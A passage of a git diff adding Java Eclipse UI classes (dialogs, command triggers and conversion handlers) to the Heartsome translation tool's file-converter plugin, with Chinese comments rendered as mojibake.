Assert.isNotNull(page, Messages.getString("action.ConversionCompleteAction.msg1")); + if (xliffFile != null) { + IEditorDescriptor editorDescriptor = PlatformUI.getWorkbench().getEditorRegistry() + .findEditor(XLIFF_EDITOR_ID); + if (editorDescriptor != null) { + try { + IDE.openEditor(page, new File(xliffFile).toURI(), XLIFF_EDITOR_ID, true); + } catch (PartInitException e) { + MessageDialog.openInformation(shell, + Messages.getString("action.ConversionCompleteAction.msgTitle2"), + Messages.getString("action.ConversionCompleteAction.msg2") + e.getMessage()); + e.printStackTrace(); + } + } + } else { + String targetFile = conversionResult.get(Converter.ATTR_TARGET_FILE); + if (targetFile == null) { + MessageDialog.openInformation(shell, + Messages.getString("action.ConversionCompleteAction.msgTitle2"), Messages.getString("action.ConversionCompleteAction.msg3")); + } else { + IWorkspaceRoot root = ResourcesPlugin.getWorkspace().getRoot(); + IFile input = root.getFileForLocation(new Path(targetFile)); + try { + // 使用外部编辑器(系统默认编辑器)打开文件。 + IDE.openEditor(page, input, IEditorRegistry.SYSTEM_EXTERNAL_EDITOR_ID); + } catch (PartInitException e) { + MessageDialog.openInformation(shell, + Messages.getString("action.ConversionCompleteAction.msgTitle2"), + Messages.getString("action.ConversionCompleteAction.msg4") + e.getMessage()); + e.printStackTrace(); + } + } + } + } + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/command/ConverterCommandTrigger.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/command/ConverterCommandTrigger.java new file mode 100644 index 0000000..a6726ac --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/command/ConverterCommandTrigger.java @@ -0,0 +1,68 @@ +package net.heartsome.cat.convert.ui.command; + +import java.util.Collections; + +import org.eclipse.core.commands.Command; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.NotEnabledException; +import org.eclipse.core.commands.NotHandledException; +import org.eclipse.core.commands.common.NotDefinedException; +import org.eclipse.core.expressions.EvaluationContext; +import org.eclipse.core.expressions.IEvaluationContext; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.ISources; +import org.eclipse.ui.IWorkbench; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.commands.ICommandService; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class ConverterCommandTrigger { + + private static final Logger LOGGER = LoggerFactory.getLogger(ConverterCommandTrigger.class); + + /** + * 打开正转æ¢å¯¹è¯æ¡† + * @param window + * @param file + * ; + */ + public static void openConversionDialog(IWorkbenchWindow window, IFile file) { + openDialog(window, file, "net.heartsome.cat.convert.ui.commands.openConvertDialogCommand"); + } + + /** + * 打开逆转æ¢å¯¹è¯æ¡† + * @param window + * @param file + * ; + */ + public static void openReverseConversionDialog(IWorkbenchWindow window, IFile file) { + openDialog(window, file, "net.heartsome.cat.convert.ui.commands.openReverseConvertDialogCommand"); + } + + private static void openDialog(IWorkbenchWindow window, IFile file, String commandId) { + IWorkbench workbench = window.getWorkbench(); + ICommandService commandService = (ICommandService) workbench.getService(ICommandService.class); + Command command = commandService.getCommand(commandId); + try { + EvaluationContext context = new EvaluationContext(null, IEvaluationContext.UNDEFINED_VARIABLE); + context.addVariable(ISources.ACTIVE_WORKBENCH_WINDOW_NAME, window); + if (file != null) { + StructuredSelection selection = new StructuredSelection(file); + context.addVariable(ISources.ACTIVE_CURRENT_SELECTION_NAME, selection); + } + command.executeWithChecks(new ExecutionEvent(command, Collections.EMPTY_MAP, null, context)); + } catch (ExecutionException e) { + LOGGER.error("", e); + } catch (NotDefinedException e) { + LOGGER.error("", e); + } catch (NotEnabledException e) { + LOGGER.error("", e); + } catch (NotHandledException e) { + LOGGER.error("", e); + } + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/ConfigConversionDialog.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/ConfigConversionDialog.java new file mode 100644 index 0000000..f9f8339 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/ConfigConversionDialog.java @@ -0,0 +1,142 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.converter.Converter; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.TitleAreaDialog; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.layout.LayoutConstants; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; + +/** + * 转æ¢æ–‡ä»¶é…置对è¯æ¡† + * @author cheney + * @since JDK1.6 + */ +public class ConfigConversionDialog extends TitleAreaDialog { + + private ConverterViewModel converterViewModel; + private ComboViewer supportList; + + private Button okButton; + + /** + * 构造函数 + * @param parentShell + * @param converterViewModel + */ + public ConfigConversionDialog(Shell parentShell, ConverterViewModel converterViewModel) { + super(parentShell); + this.converterViewModel = converterViewModel; + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite parentComposite = (Composite) super.createDialogArea(parent); + + Composite contents = new Composite(parentComposite, SWT.NONE); + GridLayout layout = new GridLayout(); + contents.setLayout(layout); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + contents.setLayoutData(gridData); + + Composite converterComposite = new Composite(contents, SWT.NONE); + converterComposite.setLayout(new GridLayout(2, false)); + + gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + converterComposite.setLayoutData(gridData); + + String direction = converterViewModel.getDirection(); + if (direction.equals(Converter.DIRECTION_POSITIVE)) { + supportList = createConvertControl(Messages.getString("dialog.ConfigConversionDialog.direction1"), converterComposite); + } else { + supportList = createConvertControl(Messages.getString("dialog.ConfigConversionDialog.direction2"), converterComposite); + } + supportList.getCombo().setFocus(); + + bindValue(); + + Dialog.applyDialogFont(parentComposite); + + Point defaultMargins = LayoutConstants.getMargins(); + GridLayoutFactory.fillDefaults().numColumns(2).margins(defaultMargins.x, defaultMargins.y).generateLayout( + contents); + + return contents; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + okButton = createButton(parent, IDialogConstants.OK_ID, IDialogConstants.OK_LABEL, true); + okButton.setEnabled(false); + createButton(parent, IDialogConstants.CANCEL_ID, IDialogConstants.CANCEL_LABEL, false); + } + + /** + * 创建文件类型列表 + * @param title + * @param composite + * @return ; + */ + private ComboViewer createConvertControl(String title, Composite composite) { + Label positiveConvertLabel = new Label(composite, SWT.NONE); + GridData positiveConvertLabelData = new GridData(); + positiveConvertLabelData.horizontalSpan = 2; + positiveConvertLabelData.horizontalAlignment = SWT.CENTER; + positiveConvertLabelData.grabExcessHorizontalSpace = true; + positiveConvertLabel.setLayoutData(positiveConvertLabelData); + positiveConvertLabel.setText(title); + + Label suportFormat = new Label(composite, SWT.NONE); + suportFormat.setText(Messages.getString("dialog.ConfigConversionDialog.suportFormat")); + + ComboViewer supportList = new ComboViewer(composite, SWT.READ_ONLY); + GridData gridData = new GridData(); + gridData.horizontalAlignment = SWT.FILL; + gridData.grabExcessHorizontalSpace = true; + supportList.getCombo().setLayoutData(gridData); + supportList.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + ISelection selection = event.getSelection(); + if (selection.isEmpty()) { + okButton.setEnabled(false); + } else { + okButton.setEnabled(true); + } + } + }); + + return supportList; + } + + /** + * 对 UI å’Œ View Model 进行绑定 ; + */ + private void bindValue() { + DataBindingContext dbc = new DataBindingContext(); + ConverterUtil.bindValue(dbc, supportList, converterViewModel); + } + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacade.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacade.java new file mode 100644 index 0000000..1c99fa2 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/FileDialogFactoryFacade.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.ImplementationLoader; + +import org.eclipse.swt.widgets.Shell; + +/** + * 打开文件对è¯æ¡†çš„ factory facade + * @author cheney + * @since JDK1.6 + */ +public abstract class FileDialogFactoryFacade { + private static final FileDialogFactoryFacade IMPL; + + static { + IMPL = (FileDialogFactoryFacade) ImplementationLoader.newInstance(FileDialogFactoryFacade.class); + } + + /** + * @param shell + * @return 返回具体的文件对è¯æ¡†å®žçŽ°; + */ + public static IConversionItemDialog createFileDialog(final Shell shell, int styled) { + return IMPL.createFileDialogInternal(shell, styled); + } + + /** + * @param shell + * @param styled + * @return 返回显示工作空间中的文件的对è¯æ¡†; + */ + public static IConversionItemDialog createWorkspaceDialog(final Shell shell, int styled) { + return IMPL.createWorkspaceDialogInternal(shell, styled); + } + + /** + * @param shell + * @return 返回文件对è¯æ¡†çš„内部实现; + */ + protected abstract IConversionItemDialog createFileDialogInternal(Shell shell, int styled); + + /** + * @param shell + * @param styled + * @return 返回显示工作空间中的文件的对è¯æ¡†;; + */ + protected abstract IConversionItemDialog createWorkspaceDialogInternal(Shell shell, int styled); + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/IConversionItemDialog.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/IConversionItemDialog.java new file mode 100644 index 0000000..101c0b6 --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/dialog/IConversionItemDialog.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.convert.ui.dialog; + +import net.heartsome.cat.convert.ui.model.IConversionItem; + +/** + * 选择转æ¢é¡¹ç›®çš„适é…器接å£ï¼Œå…·ä½“的实现å¯ä»¥ä¸ºï¼šåœ¨ RCP 环境中为 FileDialog 或 WorkspaceDialog;在 RAP 环境中为文件上传界é¢ã€‚ + * @author cheney + * @since JDK1.6 + */ +public interface IConversionItemDialog { + + /** + * @return 打开转æ¢é¡¹ç›®é€‰æ‹©å¯¹è¯æ¡†ï¼Œå¹¶è¿”回æ“作结果:用户点击确定按钮则返回 IDialogConstants.OK_ID; + */ + int open(); + + /** + * 获得转æ¢é¡¹ç›® + * @return 返回转æ¢é¡¹ç›®ï¼Œå¦‚果用户没有选择任何转æ¢é¡¹ç›®ï¼Œåˆ™è¿”回一个空的转æ¢é¡¹ç›®; + */ + IConversionItem getConversionItem(); + +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/extension/IConverterCallerImpl.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/extension/IConverterCallerImpl.java new file mode 100644 index 0000000..33b00cc --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/extension/IConverterCallerImpl.java @@ -0,0 +1,178 @@ +/** + * IConverterCallerImpl.java + * + * Version information : + * + * Date:2012-6-25 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.convert.ui.extension; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.wizard.ConversionWizard; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller; + +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public class IConverterCallerImpl implements IConverterCaller { + + private static final Logger LOGGER = LoggerFactory.getLogger(IConverterCallerImpl.class); + + /** + * + */ + public IConverterCallerImpl() { + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.extensionpoint.IConverterCaller#openConverter(java.util.List) + */ + public void openConverter(List files) { + if (files == null || files.size() == 0) { + return; + } + + final Shell shell = Display.getCurrent().getActiveShell(); + + ArrayList list = new ArrayList(); + ArrayList wrongFiles = new ArrayList(); + for (IFile file : files) { + String fileExtension = file.getFileExtension(); + if (getLegalFileExtensions() == null || getLegalFileExtensions().length == 0) { // 未é™åˆ¶åŽç¼€å的情况 + list.add(file); + } else { // é™åˆ¶äº†åŽç¼€å的情况 + if (fileExtension == null) { // æ— åŽç¼€å的文件 + fileExtension = ""; + } + if (CommonFunction.containsIgnoreCase(getLegalFileExtensions(), fileExtension)) { + list.add(file); + } else { + wrongFiles.add(file); + } + } + } + if (!wrongFiles.isEmpty()) { + StringBuffer msg = new StringBuffer(Messages.getString("extension.IConverterCallerImpl.msg1")); + for (IFile iFile : wrongFiles) { + msg.append("\n").append(iFile.getFullPath().toOSString()); + } + if (!MessageDialog.openConfirm(shell, Messages.getString("extension.IConverterCallerImpl.msgTitle1"), + msg.toString())) { + return; + } + } + + ArrayList converterViewModels = new ArrayList(); + for (int i = 0; i < list.size(); i++) { + Object adapter = Platform.getAdapterManager().getAdapter(list.get(i), IConversionItem.class); + IConversionItem sourceItem = null; + if (adapter instanceof IConversionItem) { + sourceItem = (IConversionItem) adapter; + } + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_POSITIVE); + converterViewModel.setConversionItem(sourceItem); // è®°ä½æ‰€é€‰æ‹©çš„文件 + converterViewModels.add(converterViewModel); + } + + IProject project = list.get(0).getProject(); + ConversionWizard wizard = new ConversionWizard(converterViewModels, project); + TSWizardDialog dialog = new TSWizardDialog(shell, wizard); + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + final List models = wizard.getConverterViewModels(); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName(Messages.getString("extension.IConverterCallerImpl.task1")); + monitor.beginTask(Messages.getString("extension.IConverterCallerImpl.task2"), models.size()); + for (ConverterViewModel converterViewModel : models) { + try { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName(Messages.getString("extension.IConverterCallerImpl.task3") + + converterViewModel.getConversionItem().getLocation().toOSString()); + converterViewModel.convertWithoutJob(subMonitor); + } catch (ConverterException e) { + final String message = e.getMessage(); + LOGGER.error("", e); + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(shell, + Messages.getString("extension.IConverterCallerImpl.msgTitle2"), message); + } + }); + } catch (Exception e) { + final String message = e.getMessage(); + LOGGER.error("", e); + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, + Messages.getString("extension.IConverterCallerImpl.msgTitle2"), message); + } + }); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + MessageDialog.openInformation(shell, Messages.getString("extension.IConverterCallerImpl.msgTitle2"), + e.getMessage()); + LOGGER.error("", e); + } catch (InterruptedException e) { + MessageDialog.openInformation(shell, Messages.getString("extension.IConverterCallerImpl.msgTitle2"), + e.getMessage()); + LOGGER.error(e.getMessage()); + } + } + } + /** + * 修改支æŒçš„文件扩展åå­— + * @return ; + */ + private String[] getLegalFileExtensions() { + // return new String[] { "html","htm", "inx", "properties", "js", "mif", "doc", "ppt", "xls", "docx", "xlsx", + // "pptx", + // "odg", "ods", "odt", "ods", "odt", "po", "rc", "resx", "rtf", "txt", "ttx", "xml" }; + + return new String[] { "html", "htm", "inx", "properties", "js", "mif", "doc", "ppt", "xls", "docx", "xlsx", + "pptx", "odg", "ods", "odt", "ods", "odt", "po", "rc", "resx", "rtf", "txt", "ttx", "xml", "sdlxliff", + "xlf", "idml", "mqxlz", "txml" }; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenConversionDialogHandler.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenConversionDialogHandler.java new file mode 100644 index 0000000..46a560f --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenConversionDialogHandler.java @@ -0,0 +1,188 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.io.File; +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler; +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.convert.extenstion.IExecutePretranslation; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterUtil; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.wizard.ConversionWizard; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.LoggerFactory; + +/** + * 打开项目转æ¢æ–‡ä»¶é…置对è¯æ¡† + * @author weachy + * @since JDK1.5 + */ +public class OpenConversionDialogHandler extends AbstractSelectProjectFilesHandler { + + @Override + public Object execute(ExecutionEvent event, List list) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(OpenConversionDialogHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + SystemResourceUtil.load(); + CommonFunction.removeRepeateSelect(list); + if (list == null || list.size() == 0) { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.OpenConversionDialogHandler.msgTitle1"), + Messages.getString("handler.OpenConversionDialogHandler.msg1")); + return null; + } + ArrayList converterViewModels = new ArrayList(); + for (int i = 0; i < list.size(); i++) { + Object adapter = Platform.getAdapterManager().getAdapter(list.get(i), IConversionItem.class); + IConversionItem sourceItem = null; + if (adapter instanceof IConversionItem) { + sourceItem = (IConversionItem) adapter; + } + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_POSITIVE); + converterViewModel.setConversionItem(sourceItem); // è®°ä½æ‰€é€‰æ‹©çš„文件 + converterViewModels.add(converterViewModel); + } + + IProject project = list.get(0).getProject(); + ConversionWizard wizard = new ConversionWizard(converterViewModels, project); + TSWizardDialog dialog = new TSWizardDialog(shell, wizard) { + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.FINISH_ID).setText(Messages.getString("handler.OpenConversionDialogHandler.finishLbl")); + } + }; + int result = dialog.open(); + if (result == IDialogConstants.OK_ID) { + final List models = wizard.getConverterViewModels(); + final List targetFiles = new ArrayList(); + + IRunnableWithProgress runnable = new IRunnableWithProgress() { + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + monitor.setTaskName(Messages.getString("handler.OpenConversionDialogHandler.task1")); + monitor.beginTask(Messages.getString("handler.OpenConversionDialogHandler.task2"), models.size()); + for (ConverterViewModel converterViewModel : models) { + try { + IProgressMonitor subMonitor = Progress.getSubMonitor(monitor, 1); + subMonitor.setTaskName(Messages.getString("handler.OpenConversionDialogHandler.task3") + + converterViewModel.getConversionItem().getLocation().toOSString()); + converterViewModel.convertWithoutJob(subMonitor); + List tgtFileList = converterViewModel.getGenerateTgtFileList(); + for(File f : tgtFileList){ + IFile tgtIfile = ConverterUtil.localPath2IFile(f.getAbsolutePath()); + if (tgtIfile != null) { + targetFiles.add(tgtIfile); + } + } + + // 若新转æ¢çš„ xliff 文件é‡å¤ï¼Œé‚£ä¹ˆå…³é—­å·²ç»æ‰“开的é‡å¤æ–‡ä»¶ï¼Œé˜²æ­¢æ–‡ä»¶åŒæ­¥å†²çª robert 2013-04-01 + Display.getDefault().syncExec(new Runnable() { + public void run() { + CommonFunction.closePointEditor(targetFiles); + } + }); + } catch (ConverterException e) { + final String message = e.getMessage(); + LOGGER.error("", e); + Display.getDefault().syncExec(new Runnable() { + + public void run() { + MessageDialog.openInformation(shell, Messages.getString("handler.OpenConversionDialogHandler.msgTitle2"), message); + } + }); + } catch (Exception e) { + final String message = e.getMessage(); + LOGGER.error("", e); + Display.getDefault().syncExec(new Runnable() { + public void run() { + MessageDialog.openInformation(shell, Messages.getString("handler.OpenConversionDialogHandler.msgTitle2"), message); + } + }); + } + } + monitor.done(); + } + }; + try { + new ProgressMonitorDialog(shell).run(true, true, runnable); + } catch (InvocationTargetException e) { + MessageDialog.openError(shell, Messages.getString("handler.OpenConversionDialogHandler.msgTitle2"), e.getMessage()); + LOGGER.error("", e); + } catch (InterruptedException e) { + MessageDialog.openError(shell, Messages.getString("handler.OpenConversionDialogHandler.msgTitle2"), e.getMessage()); + LOGGER.error(e.getMessage()); + } + + if (wizard.isOpenPreTranslation()) { + // 加载转æ¢å™¨æ‰©å±• + final IExecutePretranslation[] impls = new IExecutePretranslation[1]; + IConfigurationElement[] config2 = Platform.getExtensionRegistry().getConfigurationElementsFor( + "net.heartsome.converter.extension.pretranslation"); + try { + for (IConfigurationElement e : config2) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof IExecutePretranslation) { + ISafeRunnable runnable1 = new ISafeRunnable() { + + public void handleException(Throwable exception) { + LOGGER.error(Messages.getString("handler.OpenConversionDialogHandler.logger1"), exception); + } + + public void run() throws Exception { + impls[0] = (IExecutePretranslation) o; + } + }; + SafeRunner.run(runnable1); + } + } + } catch (CoreException ex) { + LOGGER.error(Messages.getString("handler.OpenConversionDialogHandler.logger1"), ex); + } + if (impls[0] != null) { + if(targetFiles.size() < 1){ + return null; + } + impls[0].executePreTranslation(targetFiles); + } + } + } + return null; + } + + @Override + public String[] getLegalFileExtensions() { + return new String[] { "html", "htm", "inx", "properties", "js", "mif", "doc", "ppt", "xls", "docx", "xlsx", + "pptx", "odg", "ods", "odt", "ods", "odt", "po", "rc", "resx", "rtf", "txt", "ttx", "xml", "sdlxliff", "xlf", "idml", "mqxlz", "txml" }; + } +} diff --git a/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenReverseConversionDialogHandler.java b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenReverseConversionDialogHandler.java new file mode 100644 index 0000000..c7aff8b --- /dev/null +++ b/ts/net.heartsome.cat.converter.ui/src/net/heartsome/cat/convert/ui/handler/OpenReverseConversionDialogHandler.java @@ -0,0 +1,154 @@ +package net.heartsome.cat.convert.ui.handler; + +import java.lang.reflect.InvocationTargetException; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.file.XLFValidator; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.ui.handlers.AbstractSelectProjectFilesHandler; +import net.heartsome.cat.common.ui.wizard.TSWizardDialog; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.convert.ui.Activator; +import net.heartsome.cat.convert.ui.model.ConverterViewModel; +import net.heartsome.cat.convert.ui.model.IConversionItem; +import net.heartsome.cat.convert.ui.resource.Messages; +import net.heartsome.cat.convert.ui.wizard.ReverseConversionWizard; +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.help.SystemResourceUtil; + +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.Platform; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.ProgressMonitorDialog; +import org.eclipse.jface.operation.IRunnableWithProgress; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 打开转æ¢æ–‡ä»¶é…置对è¯æ¡† + * @author weachy + * @since JDK1.5 + */ +public class OpenReverseConversionDialogHandler extends AbstractSelectProjectFilesHandler { + + private static final Logger LOGGER = LoggerFactory.getLogger(OpenReverseConversionDialogHandler.class); + + public Object execute(ExecutionEvent event, List list) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(OpenReverseConversionDialogHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + SystemResourceUtil.load(); + if (list == null || list.size() == 0) { + MessageDialog.openInformation(HandlerUtil.getActiveWorkbenchWindow(event).getShell(), + Messages.getString("handler.OpenReverseConversionDialogHandler.msgTitle1"), + Messages.getString("handler.OpenReverseConversionDialogHandler.msg1")); + return null; + } + + // 首先验è¯æ˜¯å¦æ˜¯åˆå¹¶æ‰“开的文件 --robert 2012-10-17 + System.out.println(list.get(0).getFullPath().toOSString()); + if (isEditor) { + // 针对åˆå¹¶æ‰“å¼€ + if (list.get(0).getFullPath().toOSString().endsWith(".xlp")) { + List multiFiles = new XLFHandler().getMultiFiles(list.get(0)); + if (multiFiles.size() > 0) { + list = new ArrayList(); + } + for (String filePath : multiFiles) { + list.add(ResourceUtils.fileToIFile(filePath)); + } + } + } + + List lstFiles = new ArrayList(); + XLFValidator.resetFlag(); + for (IFile iFile : list) { + if (!XLFValidator.validateXliffFile(iFile)) { + lstFiles.add(iFile); + } + } + + CommonFunction.removeRepeateSelect(list); + XLFValidator.resetFlag(); + if (!(list instanceof ArrayList)) { + list = new ArrayList(list); + } + list.removeAll(lstFiles); + if (list.size() == 0) { + return null; + } + ArrayList converterViewModels = new ArrayList(); + for (int i = 0; i < list.size(); i++) { + Object adapter = Platform.getAdapterManager().getAdapter(list.get(i), IConversionItem.class); + IConversionItem sourceItem = null; + if (adapter instanceof IConversionItem) { + sourceItem = (IConversionItem) adapter; + } + ConverterViewModel converterViewModel = new ConverterViewModel(Activator.getContext(), + Converter.DIRECTION_REVERSE); + converterViewModel.setConversionItem(sourceItem); // è®°ä½æ‰€é€‰æ‹©çš„文件 + converterViewModels.add(converterViewModel); + } + + IProject project = list.get(0).getProject(); + ReverseConversionWizard wizard = new ReverseConversionWizard(converterViewModels, project); + TSWizardDialog dialog = new TSWizardDialog(shell, wizard) { + @Override + protected void createButtonsForButtonBar(Composite parent) { + 